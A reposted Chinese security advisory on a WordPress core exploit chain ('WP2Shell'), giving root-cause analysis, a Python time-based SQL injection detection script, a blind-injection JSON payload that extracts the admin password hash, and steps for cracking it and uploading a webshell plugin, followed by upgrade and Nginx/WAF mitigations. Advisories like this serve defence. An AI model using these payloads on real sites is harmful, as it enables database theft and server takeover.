【高危漏洞预警】WordPressWP2Shell组合漏洞链(CVE-2026-63030+CVE-2026-60137)"

admin 2026-10-18 11:17:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【高危漏洞预警】WordPress WP2Shell 组合漏洞链(CVE-2026-63030 + CVE-2026-60137)

飓风网络安全

2026年7月19日 16:25
北京

在小说阅读器读本章

去阅读

一、漏洞基本信息
漏洞概述
本次安全事件代号 WP2Shell,由两个漏洞链式组合攻击实现未授权远程代码执行(RCE),影响WordPress官方原生核心程序,无需额外插件、无需注册账号、无需用户交互,公网可直接利用。
1. CVE-2026-63030(高危路由混淆漏洞)

危害:CVSS 3.1 评分9.8 严重级别

原理:REST API /batch/v1 批量请求接口存在数组错位路由混淆,绕过身份校验,让外部可控参数流入受保护查询逻辑。

2. CVE-2026-60137(SQL注入漏洞)

危害:CVSS 3.1 评分5.9 中危

原理:WP\Query 的 author\\_not\_in 参数未做严格过滤,可构造盲注语句读取数据库全部内容。

影响版本
• CVE-2026-60137:6.8.0 ~ 6.8.5、6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1

• CVE-2026-63030:6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1

• 安全修复版本:6.8.6 / 6.9.5 / 7.0.2 及以上

• 利用前提:站点未开启持久化对象缓存,默认安装环境即可攻击。

攻击链路
1. 利用 CVE-2026-63030 嵌套批量请求绕过鉴权限制;

  1. 触发 CVE-2026-60137 时间盲注,脱库获取管理员用户名+密码哈希;

  2. 离线破解哈希得到明文密码,登录后台上传恶意插件;

  3. 实现服务器任意PHP代码执行,完全接管网站与服务器权限。

二、漏洞原理深度分析
1. CVE-2026-63030 路由混淆成因

serve\_batch\_request\_v1() 批量请求处理函数维护两组数组:

• $matches:合法路由处理器

• $validation:请求校验结果
当恶意构造的第一层URL解析失败,只会写入校验数组,不会填充路由数组,造成两个数组长度不一致,后续子请求路由发生偏移,未认证请求被强行分发到文章查询接口,带入可控参数。

  1. CVE-2026-60137 SQL注入成因
    author\_\_not\_in 用于排除指定作者ID,源码仅校验纯数字数组,在批量API特殊调用逻辑下,字符串拼接过滤失效,可插入 SLEEP()、条件判断语句,构成时间盲注,逐字符导出 wp\_users 管理员账号密码哈希。

三、漏洞验证 & 利用PoC
免责声明:以下代码仅用于企业内部资产自查、授权渗透测试,禁止用于未授权网站,违规利用承担全部法律责任。
3.1 简易检测PoC(Python,判断站点是否存在漏洞入口)
import requests
import time

def check\wp2shell(target\_url):
batch\_endpoint = f\"{target\_url.rstrip('/')}/wp-json/batch/v1\"
payload = {
\"requests\": [
{
\"method\": \"GET\",
\"path\": \"/wp/v2/categories\",
\"args\": {\"author\
\_not\_in\": \"(SELECT SLEEP(3))\"}
}
]
}
headers = {\"Content-Type\": \"application/json\"}
try:
start = time.time()
resp = requests.post(batch\_endpoint, json=payload, headers=headers, timeout=10)
cost = time.time() - start
if cost >= 2.8:
print(f\"[高危] {target\_url} 存在WP2Shell组合漏洞,可触发延时注入\")
else:
print(f\"[安全] {target\_url} 未触发漏洞延时\")
except Exception as e:
print(f\"访问异常: {str(e)}\")

使用示例

check\_wp2shell(\"http://xxx.com\")

3.2 盲注脱库逻辑Payload(嵌套批量请求JSON)

发送POST至 /wp-json/batch/v1,用于逐字节读取管理员哈希:
{
\"requests\": [
{
\"method\": \"GET\",
\"path\": \"/wp/v2/categories\",
\"args\": {
\"author\_\_not\_in\": \"0 OR IF(SUBSTRING((SELECT user\_pass FROM wp\_users WHERE ID=1),1,1)='$',SLEEP(2),1)\"
}
}
]
}
3.3 完整链式利用简述
1. 用上面的时间盲注遍历字符,拿到ID=1管理员密码哈希;

  1. 使用哈希爆破工具(Hashcat)破解明文密码;

  2. 登录WordPress后台 → 插件 → 上传插件,打包一句话木马为zip格式安装;

  3. 蚁剑/菜刀连接WebShell,实现RCE。

四、应急处置与永久修复方案
方案1:升级版本(推荐,彻底修复)

后台一键升级到以下任意稳定版本:

• WordPress 6.8.6

• WordPress 6.9.5

• WordPress 7.0.2 或最新正式版

方案2:临时缓解(无法立刻升级时)

  1. WAF规则拦截路径:拦截所有POST请求到 /wp-json/batch/v1;

  2. Nginx临时屏蔽配置:
    location ~\* ^/wp-json/batch/v1 {
    deny all;
    }

  3. 开启Redis/Memcached持久化对象缓存,阻断漏洞触发条件。

方案3:自查已被入侵

  1. 检查插件目录是否存在陌生恶意插件;

  2. 审计管理员账号列表,排查新增不明管理员;

  3. 检索网站目录内后缀为 .php 的WebShell文件。

五、安全加固长期建议
1. 关闭REST API批量接口,业务不需要可永久禁用;

  1. 限制WP后台登录IP,启用二次验证2FA;

  2. 定期导出数据库备份,监控异常批量查询行为;

  3. 使用WAF防护,匹配SQL注入特征与异常批量API请求。


    【高危漏洞预警】WordPressWP2Shell组合漏洞链(CVE-2026-63030+CVE-2026-60137)" 网络安全文章

    【高危漏洞预警】WordPressWP2Shell组合漏洞链(CVE-2026-63030+CVE-2026-60137)"

    本文详析WordPress核心WP2Shell组合高危漏洞,攻击者无需授权即可通过路由混淆绕过鉴权,结合SQL注入时间盲注脱库获取管理员哈希,最终实现远程代码执行。建议立即升级至6.8.6、6.9.5或7.0.2及以上版本彻底修复;暂无法升级时需通过WAF或Nginx拦截批量请求接口路径,开启持久化对象缓存,并排查恶意插件与后门文件。
    好文|TAG-150攻击链全拆解:DinDoor、DenoRAT到NightshadeC2" 网络安全文章

    好文|TAG-150攻击链全拆解:DinDoor、DenoRAT到NightshadeC2"

    eSentireTRU报告拆解TAG-150攻击链,始于ClickFix诱饵,经MSI和AI生成的PowerShell脚本安装Deno运行时,加载DinDoorloader与DenoRAT,最终执行NightshadeC2。攻击利用Deno的FFI调用WindowsAPI绕过检测,全程几乎不落盘。关键发现包括Deno作为恶意软件载体、AI生成代码登场及多阶段串联。建议蓝队关注Deno进程异常行为及JWT中的活动归因线索。
    放手一搏:当漏洞挖掘完全交给大模型" 网络安全文章

    放手一搏:当漏洞挖掘完全交给大模型"

    ClarotyTeam82使用AnthropicClaudeOpus4.5模型对Zenitel视频对讲机进行完全自动化漏洞挖掘实验。模型在10分钟内自动发现5个高危漏洞(含三个命令注入、一个越界写入、一个跨站脚本),并生成披露级报告。实验表明AI能自主完成固件提取、脱壳、逆向分析和漏洞报告全流程,效率远超人工。这标志着漏洞研究门槛正从技术能力转向获取固件能力,安全团队需重新评估漏洞管理策略以应对即将到来的AI驱动漏洞报告浪潮。
    评论:0   参与:  0